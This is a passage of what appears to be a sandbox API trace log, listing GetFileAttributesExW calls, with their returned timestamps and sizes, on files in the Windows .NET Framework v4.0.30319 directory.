	[0087.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Workflow.Targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\workflow.targets"), fInfoLevelId=0x0, lpFileInformation=0x123b3818 | out: lpFileInformation=0x123b3818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbdd400, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd5e49840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3fbdd400, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd8)) returned 1
	[0087.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Workflow.VisualBasic.Targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\workflow.visualbasic.targets"), fInfoLevelId=0x0, lpFileInformation=0x123b3868 | out: lpFileInformation=0x123b3868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbdd400, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd5e6f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3fbdd400, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x218b)) returned 1
	[0087.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\workflowservicehostperformancecounters.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b38b8 | out: lpFileInformation=0x123b38b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b89bce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x15520)) returned 1
	[0087.888] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.man" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\workflowservicehostperformancecounters.man"), fInfoLevelId=0x0, lpFileInformation=0x123b3908 | out: lpFileInformation=0x123b3908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e65000, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd5e6f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x27e65000, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xa918)) returned 1
	[0087.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WsatConfig.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wsatconfig.exe"), fInfoLevelId=0x0, lpFileInformation=0x123b3958 | out: lpFileInformation=0x123b3958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b980520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x252a8)) returned 1
	[0087.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\XPThemes.manifest" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\xpthemes.manifest"), fInfoLevelId=0x0, lpFileInformation=0x123b39a8 | out: lpFileInformation=0x123b39a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163d2d00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x8b8ccf00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x163d2d00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1da)) returned 1
	[0087.890] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\XamlBuildTask.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\xamlbuildtask.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b39f8 | out: lpFileInformation=0x123b39f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b9a6680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x202b8)) returned 1
	[0087.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\XsdBuildTask.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\xsdbuildtask.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3a48 | out: lpFileInformation=0x123b3a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b9f2940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x108b0)) returned 1
	[0087.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3a98 | out: lpFileInformation=0x123b3a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe062b00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x9e99fe20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xbe062b00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x1bc)) returned 1
	[0087.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3ae8 | out: lpFileInformation=0x123b3ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2acb00, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca158600, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1b2acb00, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0x1818c)) returned 1
	[0087.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3b38 | out: lpFileInformation=0x123b3b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8104a00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8a41efe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xb8104a00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x33d)) returned 1
	[0087.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataPerfCounters.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3b88 | out: lpFileInformation=0x123b3b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8d2500, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca158600, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d8d2500, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0xd3d6)) returned 1
	[0087.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3bd8 | out: lpFileInformation=0x123b3bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42bcb00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8a41efe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xe42bcb00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x41f)) returned 1
	[0087.893] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters_v2.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters_v2.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3c28 | out: lpFileInformation=0x123b3c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19b600, ftCreationTime.dwHighDateTime=0x1cd0c53, ftLastAccessTime.dwLowDateTime=0xca17e760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf19b600, ftLastWriteTime.dwHighDateTime=0x1cd0c53, nFileSizeHigh=0x0, nFileSizeLow=0x32b)) returned 1
	[0087.894] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_Networkingperfcounters.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3c78 | out: lpFileInformation=0x123b3c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17974400, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca17e760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x17974400, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0x28a2e)) returned 1
	[0087.894] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_Networkingperfcounters_v2.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters_v2.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3cc8 | out: lpFileInformation=0x123b3cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19b600, ftCreationTime.dwHighDateTime=0x1cd0c53, ftLastAccessTime.dwLowDateTime=0xca17e760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf19b600, ftLastWriteTime.dwHighDateTime=0x1cd0c53, nFileSizeHigh=0x0, nFileSizeLow=0xce5c)) returned 1
	[0087.895] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_smsvchostperfcounters.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3d18 | out: lpFileInformation=0x123b3d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff500800, ftCreationTime.dwHighDateTime=0x1cac5e8, ftLastAccessTime.dwLowDateTime=0x8a41efe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xff500800, ftLastWriteTime.dwHighDateTime=0x1cac5e8, nFileSizeHigh=0x0, nFileSizeLow=0x2be)) returned 1
	[0087.895] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_SMSvcHostPerfCounters.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_smsvchostperfcounters.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3d68 | out: lpFileInformation=0x123b3d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c5bf800, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca1a48c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1c5bf800, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0x20b06)) returned 1
	[0087.896] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_transactionbridgeperfcounters.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3db8 | out: lpFileInformation=0x123b3db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff500800, ftCreationTime.dwHighDateTime=0x1cac5e8, ftLastAccessTime.dwLowDateTime=0x8a445140, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xff500800, ftLastWriteTime.dwHighDateTime=0x1cac5e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c1)) returned 1
	[0087.896] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_TransactionBridgePerfCounters.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_transactionbridgeperfcounters.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3e08 | out: lpFileInformation=0x123b3e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8d2500, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca1a48c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d8d2500, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0x21278)) returned 1
	[0087.897] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h"), fInfoLevelId=0x0, lpFileInformation=0x123b3e58 | out: lpFileInformation=0x123b3e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8104a00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8a41efe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xb8104a00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x1bc)) returned 1
	[0087.897] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.ini"), fInfoLevelId=0x0, lpFileInformation=0x123b3ea8 | out: lpFileInformation=0x123b3ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1534ea00, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca158600, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1534ea00, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0x181c0)) returned 1
	[0087.897] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\adonetdiag.mof"), fInfoLevelId=0x0, lpFileInformation=0x123b3ef8 | out: lpFileInformation=0x123b3ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd66c00, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9dd66c00, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x1d66)) returned 1
	[0087.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\adonetdiag.mof.uninstall" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\adonetdiag.mof.uninstall"), fInfoLevelId=0x0, lpFileInformation=0x123b3f48 | out: lpFileInformation=0x123b3f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a214e00, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x4a214e00, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x7d0)) returned 1
	[0087.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\alink.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\alink.dll"), fInfoLevelId=0x0, lpFileInformation=0x123b3f98 | out: lpFileInformation=0x123b3f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56fd1e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c898)) returned 1
	[0087.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\applaunch.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\applaunch.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2008 | out: lpFileInformation=0x124f2008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8a46b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0087.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet.mof"), fInfoLevelId=0x0, lpFileInformation=0x124f2058 | out: lpFileInformation=0x124f2058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea12240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd243)) returned 1
	[0087.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof.uninstall" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet.mof.uninstall"), fInfoLevelId=0x0, lpFileInformation=0x124f20a8 | out: lpFileInformation=0x124f20a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea12240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1e1)) returned 1
	[0087.900] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_compiler.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f20f8 | out: lpFileInformation=0x124f20f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5706a3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd8c0)) returned 1
	[0087.900] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_filter.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_filter.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2148 | out: lpFileInformation=0x124f2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x86b8)) returned 1
	[0087.900] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_isapi.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_isapi.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2198 | out: lpFileInformation=0x124f2198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x570b6660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x60b0)) returned 1
	[0087.901] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf.h"), fInfoLevelId=0x0, lpFileInformation=0x124f21e8 | out: lpFileInformation=0x124f21e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58806000, ftCreationTime.dwHighDateTime=0x1cd5cfa, ftLastAccessTime.dwLowDateTime=0xca393aa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x58806000, ftLastWriteTime.dwHighDateTime=0x1cd5cfa, nFileSizeHigh=0x0, nFileSizeLow=0x1c09)) returned 1
	[0087.901] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf.ini"), fInfoLevelId=0x0, lpFileInformation=0x124f2238 | out: lpFileInformation=0x124f2238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f405000, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x57102920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x1f405000, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0xf387a)) returned 1
	[0087.902] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf2.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf2.ini"), fInfoLevelId=0x0, lpFileInformation=0x124f2288 | out: lpFileInformation=0x124f2288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3d700, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x57102920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x22d3d700, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0xf30d6)) returned 1
	[0087.902] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_rc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_rc.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f22d8 | out: lpFileInformation=0x124f22d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57128a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x160a8)) returned 1
	[0087.903] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regbrowsers.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_regbrowsers.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2328 | out: lpFileInformation=0x124f2328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5714ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaec8)) returned 1
	[0087.903] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regiis.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_regiis.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2378 | out: lpFileInformation=0x124f2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57174d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9cb8)) returned 1
	[0087.903] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_regsql.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f23c8 | out: lpFileInformation=0x124f23c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5719aea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x1eeb8)) returned 1
	[0087.904] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_state.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2418 | out: lpFileInformation=0x124f2418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x571c1000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb0b0)) returned 1
